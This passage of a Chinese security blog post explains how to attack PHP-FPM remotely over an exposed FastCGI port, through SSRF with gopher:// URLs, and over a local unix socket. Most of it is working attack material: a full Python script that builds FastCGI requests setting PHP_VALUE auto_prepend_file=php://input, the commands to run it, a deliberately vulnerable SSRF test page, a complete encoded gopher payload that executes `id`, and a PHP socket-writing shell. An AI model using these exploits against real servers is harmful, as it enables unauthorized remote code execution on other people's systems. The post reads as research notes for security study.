        return record + str(name) + str(value)

这段代码对应上面参数的处理

其实关于如何写出各种协议的数据包的方法,如何构造链接,其实我也不是很明白,目前自己在探索的思路也就是通过查看nginx的源码fastcgi源代码模块),跟踪下它的发包流程来解析,后面我会继续尝试去分析清楚发包流程,如果有师傅能与我交流下这方面的技巧,深表感激。

0x6 演示攻击流程

0x6.1 远程攻击tcp模式的php-fpm

这个场景是有些管理员为了方便吧,把fastcgi监听端口设置为: listen = 0.0.0.0:9000而不是listen = 127.0.0.1:9000 这样子可以导致远程代码执行。

这里利用p牛的利用脚本:

fpm.py兼容py3和py2

python命令:

python fpm.py -c '<?php echoid;exit;?>' 10.211.55.21 /var/www/html/phpinfo.php

默认9000端口:

python fpm.py -c '<?php echoid;exit;?>' -p 9000 10.211.55.21 /var/www/html/phpinfo.php

0x6.2 SSRF攻击本地的php-fpm(tcp模式)

看了网上一些文章说: PHP-FPM版本 >= 5.3.3

其实是因为php5.3.3之后绑定了php-fpm,然后自己配置是否启动就行了,这个条件没什么很大关系。

即使配置正确,我们依然可以通过结合其他漏洞比如ssrf来攻击本地的php-fpm服务。

这里简单谈下Gopher://协议

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

说明gopher协议可以直接发送tcp协议流,那么我们就可以把数据流 urlencode编码构造ssrf攻击代码了

关于怎么修改其实也很简单,看我下面代码注释: (下面脚本兼容python2 and python3)

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        #return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        # 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
        #self.sock.send(request)
        #self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        #self.requests[requestId]['response'] = ''
        #return self.__waitForResponse(requestId)
        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    # 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
    #response = client.request(params, content)
    #print(force_text(response))
    request_ssrf = urlparse.quote(client.request(params, content))
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

给出ssrf的测试代码如下:

<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>

安装下curl扩展:

sudo apt-get install php7.3-curl

然后在

/etc/php/7.3/fpm/php.ini

去掉 ;extension=curl前面的分号,重启php-fpm即可

然后生成payload直接打就可以了。

http://10.211.55.21/ssrf1.php?url=gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/test.php%0B%16SCRIPT_NAME/var/www/html/test.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URI/var/www/html/test.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05%A7L%00%00%00%00

这里需要在urlencode编码一次,因为这里nginx解码一次,php-fpm解码一次。

ok,成功实现了代码执行。

这里还可以介绍一个ssrf的利用工具的用法: Gopherus

1.python gopherus.py --exploit fastcgi

2.

然后同上进行利用就好了

0x6.3 攻击unix套接字模式下的php-fpm

前面已经说过了unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock来进行通信

所以必须在同一环境下,通过读取/run/php/php7.3-fpm.sock来进行通信,所以这个没办法远程攻击。

这个利用可以参考*CTF echohub攻击没有限制的php-fpm来绕过disable_function

攻击流程:

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));?>

这个原理也很简单就是通过php stream_socket_client建立一个unix socket连接,然后写入tcp流进行通信。

那么这个可不可以进行ssrf攻击呢 答案是否定的,因为他没有经过网络协议层,而ssrf能利用的就是网络协议,具体可以看我上面介绍unix 套接字原理。

当然不排除有些ssrf他也是利用unix套接字建立连接的,如果引用的是php-fpm监听的那个sock文件,那也是可以攻击的,但是这种情况很特殊,基本没有这种写法,欢迎师傅有其他想法跟我交流下。

0x7 总结

 这篇文章前前后后写了挺久的,感觉有些内容讲的和理解的还不是很深刻,这篇文章出发点还是为了更好的简单了解下php-fpm的攻击方式,后面我会针对这篇文章遗留下来的问题,再深入研究和学习下。

0x8 参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

PHP 连接方式&攻击PHP-FPM&*CTF echohub WP

Nginx+Php-fpm 运行原理详解

Ubuntu下Nginx+PHP7-fpm的配置

nginx 和 php-fpm 通信使用unix socket还是TCP,及其配置

PHP 进阶之路 - 深入理解 FastCGI 协议以及在 PHP 中的实现

FastCGI协议详解及代码实现

PHP基础之fastcgi协议

PHP FastCGI 的远程利用

Nginx源码研究FastCGI模块详解总结篇

【Nginx源码研究】Tcpdump抓包Nginx中FastCGI协议实战

点击收藏 | 4 关注 | 4
登录 后跟帖